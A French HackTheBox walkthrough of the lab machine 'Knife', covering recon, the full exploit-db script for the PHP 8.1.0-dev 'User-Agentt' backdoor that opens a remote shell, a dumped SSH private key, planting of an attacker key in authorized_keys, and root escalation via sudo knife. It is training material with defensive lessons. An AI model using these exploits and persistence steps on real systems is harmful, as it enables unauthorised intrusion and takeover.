HackTheBox Walkthrough - Knife

  • Machine ciblée : Knife.

  • Répertoire : /home/kali/Knife

  • Temps passé dessus : 2h

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="Knife"
repository="/home/kali/$name"
ip="10.10.10.242"
domain='htb'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts  >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts
nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt $ip
nmap  -Pn -A -T5 -p - -oN $repository/full $ip

Nmap scan report for Knife (10.10.10.242)
Host is up (0.019s latency).
Not shown: 63316 closed tcp ports (conn-refused), 2217 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 be549ca367c315c364717f6a534a4c21 (RSA)
|   256 bf8a3fd406e92e874ec97eab220ec0ee (ECDSA)
|_  256 1adea1cc37ce53bb1bfb2b0badb3f684 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Bon, pas grande chose cette fois-ci sauf un site web et du ssh. Fouillons le web.

Phase 2 : Analyse

┌──(kali㉿kali)-[~/Knife]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name

Le gobuster renvoie rien, le site web montre rien de particulier … bon … on va s’amuser …

┌──(kali㉿kali)-[~/Knife] #On fuzz pour trouver d'autres sites ?
└─$ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H "Host:FUZZ.$name.$domain" --hl 220 http://$name.$domain
┌──(kali㉿kali)-[~/Knife] #On regarde les différens exploits ... Rien de probants
└─$ searchsploit apache 2.4.41
----------------------------------------------------------------------------------------
 Exploit Title                                                    |  Path
------------------------------------------------------------------ ---------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution   | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner | php/remote/29316.py
------------------------------------------------------------------ ---------------------
┌──(kali㉿kali)-[~/Knife]
└─$ msfconsole -q -x "search apache 2;exit"

Matching Modules
================

   #    Name                                                                       Disclosure Date  Rank       Check  Description
   -    ----                                                                       ---------------  ----       -----  -----------
   3    auxiliary/scanner/http/apache_userdir_enum                                                  normal     No     Apache "mod_userdir" User Enumeration
   4    exploit/multi/http/apache_normalize_path_rce                               2021-05-10       excellent  Yes    Apache 2.4.49/2.4.50 Traversal RCE
   5    auxiliary/scanner/http/apache_normalize_path                               2021-05-10       normal     No     Apache 2.4.49/2.4.50 Traversal RCE scanner
   21   exploit/windows/http/apache_mod_rewrite_ldap                               2006-07-28       great      Yes    Apache Module mod_rewrite LDAP Protocol Buffer Overflow
   25   auxiliary/scanner/http/apache_optionsbleed                                 2017-09-18       normal     No     Apache Optionsbleed Scanner
   26   auxiliary/dos/http/apache_range_dos                                        2011-08-19       normal     No     Apache Range Header DoS (Apache Killer)
   28   auxiliary/scanner/http/rewrite_proxy_bypass                                                 normal     No     Apache Reverse Proxy Bypass Vulnerability Scanner
   59   exploit/multi/http/apache_mod_cgi_bash_env_exec                            2014-09-24       excellent  Yes    Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
   60   auxiliary/scanner/http/apache_mod_cgi_bash_env                             2014-09-24       normal     Yes    Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
   61   auxiliary/dos/http/apache_mod_isapi                                        2010-03-05       normal     No     Apache mod_isapi Dangling Pointer
   62   exploit/windows/http/apache_modjk_overflow                                 2007-03-02       great      Yes    Apache mod_jk 1.2.20 Buffer Overflow
   78   exploit/multi/http/log4shell_header_injection                              2021-12-09       excellent  Yes    Log4Shell HTTP Header Injection
   79   auxiliary/scanner/http/log4shell_scanner                                   2021-12-09       normal     No     Log4Shell HTTP Scanner
   86   exploit/windows/http/php_apache_request_headers_bof                        2012-05-08       normal     No     PHP apache_request_headers Function Buffer Overflow
   101  exploit/unix/webapp/wp_phpmailer_host_header                               2017-05-03       average    Yes    WordPress PHPMailer Host Header Command Injection

Bon, il y a pas mal de failles, j’ai testé quelques trucs, mais rien qui me saute au yeux au premier abord. Continuons à fouiller, que dis wepanalyser concernant le site ? Il nous trouve du google font api et du php 8.1.0 … J’crois pas dans le google font, mais ça vaut le coup de chercher côté PHP ? N.B: Il est intéressant de voir la solution du write-up. Ce dernier explique d’où wepanalyser obtient l’information.

┌──(kali㉿kali)-[~/Knife]
└─$ curl -I http://$name.$domain
HTTP/1.1 200 OK
Date: Sat, 26 Nov 2022 15:21:41 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Content-Type: text/html; charset=UTF-8

Le curl nous montre directement que l’on est sur la version dev, ce qui nous aide fortement à faire le tri lors de notre searchsploit !

┌──(kali㉿kali)-[~] #Deux RCE, mais qui s'appliquent a des versions très précises ... Rien de sûr quoi...
└─$ searchsploit php 8.1.0
---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution                               | php/webapps/49933.py
PHP-Nuke 8.1.0.3.5b (Your_Account Module) - Blind SQL Injection (Benchmark Mode)  | php/webapps/14320.pl
PHP-Nuke 8.1.0.3.5b - 'Downloads' Blind SQL Injection                             | php/webapps/18148.pl
PHP-Nuke 8.1.0.3.5b - Remote Command Execution                                    | php/webapps/14319.pl
---------------------------------------------------------------------------------- ---------------------------------

┌──(kali㉿kali)-[~/Knife]
└─$ msfconsole -q -x "search php 8.1;exit"

Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
   0  exploit/multi/http/openx_backdoor_php                2013-08-07       excellent  Yes    OpenX Backdoor PHP Cod
   1  exploit/linux/http/zimbra_cpio_cve_2022_41352        2022-06-28       excellent  No     TAR Path Traversal in
   2  exploit/unix/webapp/wp_ajax_load_more_file_upload    2015-10-10       excellent  Yes    Wordpress Ajax Load Mo
   3  exploit/linux/http/zimbra_mboximport_cve_2022_27925  2022-05-10       excellent  No     Zip Path Traversal in
   4  exploit/multi/http/phpmyadmin_lfi_rce                2018-06-19       good       Yes    phpMyAdmin Authenticat
   5  exploit/multi/http/phpmyadmin_preg_replace           2013-04-25       excellent  Yes    phpMyAdmin Authenticat

Phase 3 : User

Bon, on a un peu plus de travail … Tentons la première de searchsploit

┌──(kalikali)-[~]
└─$ cat /usr/share/exploitdb/exploits/php/webapps/49933.py
# Exploit Title: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
# Date: 23 may 2021
# Exploit Author: flast101
# Vendor Homepage: https://www.php.net/
# Software Link:
#     - https://hub.docker.com/r/phpdaily/php
#    - https://github.com/phpdaily/php
# Version: 8.1.0-dev
# Tested on: Ubuntu 20.04
# References:
#    - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
#   - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md

"""
Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/backdoor_php_8.1.0-dev.py
Contact: flast101.sec@gmail.com

An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.
The following exploit uses the backdoor to provide a pseudo shell ont the host.
"""

#!/usr/bin/env python3
import os
import re
import requests

host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)

if str(response) == '<Response [200]>':
    print("\nInteractive shell is opened on", host, "\nCan't acces tty; job crontol turned off.")
    try:
        while 1:
            cmd = input("$ ")
            headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
            "User-Agentt": "zerodiumsystem('" + cmd + "');"
            }

            response = request.get(host, headers = headers, allow_redirects = False)
            current_page = response.text
            stdout = current_page.split('<!DOCTYPE html>',1)
            text = print(stdout[0])
    except KeyboardInterrupt:
        print("Exiting...")
        exit

else:
    print("\r")
    print(response)
    print("Host is not available, aborting...")
    exit
┌──(kali㉿kali)-[~]
└─$ python3 /usr/share/exploitdb/exploits/php/webapps/49933.py
Enter the full host url:
http://knife.htb

Interactive shell is opened on http://knife.htb
Can t acces tty; job crontol turned off.
$ id
uid=1000(james) gid=1000(james) groups=1000(james)
$ cat /home/james/user.txt
0578273bfa93da1cc5d404abc5177969

Ok donc on a le flag user. Continuons.

Phase 4 : Elevation de privilege

$ ls -lA /home/james/
total 32
lrwxrwxrwx 1 james james    9 May 10  2021 .bash_history -> /dev/null
-rw-r--r-- 1 james james  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 james james 3771 Feb 25  2020 .bashrc
drwx------ 2 james james 4096 May  6  2021 .cache
drwxrwxr-x 3 james james 4096 May  6  2021 .local
-rw-r--r-- 1 james james  807 Feb 25  2020 .profile
-rw-rw-r-- 1 james james   66 May  7  2021 .selected_editor
drwx------ 2 james james 4096 May 18  2021 .ssh
-r-------- 1 james james   33 Nov 26 12:41 user.txt

$ ls -lA /home/james/.ssh
total 8
-rw------- 1 james james 3381 May  7  2021 id_rsa
-rw-r--r-- 1 james james  741 May  7  2021 id_rsa.pub

$ cat /home/james/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAu7RPlIkBcbCjzL3GKxJpJyiUuVrxLm3rejPGlaKdnIYqrrwYDHNN
QwndrU9+7PrRU6eiXEsdDb7JGxsnEBGJRdZ0qWRQVNLxsPpswX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HunkK351CigW5PT89irvpw6OUbpCx60GMPT9Qnb8XkcP1rtQvW60CvXL1dsihFuPHqDh
8VcDAICzOJ4qGCDa3s/fxufXZJPU8ysc2vzTwBGN0kgs3ttqfO2zCkflhivx1OddHAqTf2
z59Ep2Jk4cc38n/NeexNyxxO91ah3zEPZLklDI/7XrwjSeu8QlBy3Ynsd/MgLhFLuzjjI3
IwOoC0lWNnVWsbIJAAABAQDnA9AyVgHnyHX3ZgvvgpmnJo5TjJiNmL8qm/z8fBbq1mZEAf
kPlyRT+X+z8slh9j/MiZpYFxygT2x9rIxQJVA/LymUp7qYSpHkhBbYppPXVNs1CxL1NUwx
ror0wjEnNUX/7Rj8Eq/IMKF48ClYQERbYf6A/yolwT3I7YfR8pJW6aY6LuHtCDB2DB6Cn0
lIDlWvheMlH785P4J6TBH6/wkhkh3cX9wH3VnqvQkat8Xtj4yciYwgbWpUdsI4fvXu0OX+
WZ4eucoQ4AlUW8kIBU+W5YdIVnHPCNM5MZpTVaB14EOvACcBG/GG+ufPQAS1XnNwNaDPGg
y2kB3tv1YGIHtVAAABAQDQAVf+WjFcRKlUXS4n6fjc7PmdYro/UG/b7FUp9VqauBifgSIO
jKtyQlQO+wTPWoW66lHvWueBqn4LITD1wazlCwaaW8btNbhsNkYREMpJiYWZhb9H1EyINl
KfUD3WRsd6l11MCXTpvtkEoG1sDlH/BQAkxzDHw1c5XTQtwxODwOsicn4f7+49+L1QhOds
rU25JWRKBAKIZOwyKTc/EfL8wvDMBAbn4N/RoO/p4zL439SvXuoFmGEbsCieP9HTxEpfCg
QH84LZguRlUvJFJvCwWQr4feimev0aja2v6MXVhw3dG41YZOlrUVd0UUVbg7gDhgPafSur
m0AbydTdhFrHAAAAD2phbWVzQGxvY2FsaG9zdAECAw==
-----END OPENSSH PRIVATE KEY-----

if ["$(cat /home/james/id_rsa.pub)" = "$(echo "ssh-rsa $(ssh-keygen -e -f /home/james/id_rsa |grep -v '\---' | grep -v 'Comment' | tr -d '\t\r\n') james@localhost")" ]; then echo "Les cles sont identiques" else echo "not this time"; fi
No input file specified.

J’ai cherché, le terminal ne gère pas le | grep ! Sans doute un problème du pipe. En regardant à la main, la clé semble être la même. On la rapatrie en local, elle servira surement plus tard. Et on en profite pour pousser une nouvelle clé:

┌──(kali㉿kali)-[~/Knife]
└─$ ssh-keygen -t ed25519 -f ./id_ecdsa -C '' -N '' >/dev/null && cat ./id_ecdsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGxZ7FPXzV+ZUGLhltf4xePYeHsFMCIxW+wbRpGntPjC

$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGxZ7FPXzV+ZUGLhltf4xePYeHsFMCIxW+wbRpGntPjC" > /home/james/.ssh/authorized_keys
──(kali㉿kali)-[~/Knife]
└─$ ssh -i ./id_ecdsa james@Knife
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

Last login: Sat Nov 26 15:11:05 2022 from 10.10.14.2
james@knife:~$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

Petit tour sur GTFO Bins : ça va être rapide.

james@knife:~$ sudo knife exec -E 'exec "/bin/sh"'
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
5c7a71d2056e0b181e9a19b7d9aadb5d

Récapitulatif

Ok, box très sympathique, j’ai un peu lutté au début, je n’ai pas du tout envisagé la faille sur autre chose qu’Apache. J’ai donc lu l’intro du write-up, bien que la machine date de l’an dernier, elle permet « presque rapidement » de comprendre le truc. J’aurai aimé avoir besoin de la clé ssh, dommage dans un sens.
Pour la culture, et parce que je trouve ça trop classe, la faille « 0day » présente dans le php 8.1.0-dev est dû à un comit sur le projet php-src qui explique « fix typo ». Le commit a été fait suite à la vol des comptes de 2 personnes de chez php. À la suite de ça, ils ont obligé la 2FA !

A retenir

Ok, c’est bien de mettre à jour, mais c’est dangereux d’utiliser les versions de développement sur la production, surtout si l’on a pas vérifier son code ! Et encore une fois, toujours éviter le sudo NOPASSWD, c’est surpuissant mais ça nécessite de vraiment contrôler ses actons et c’est difficile sur des binaires style ansible et puppet (knife en fait parti).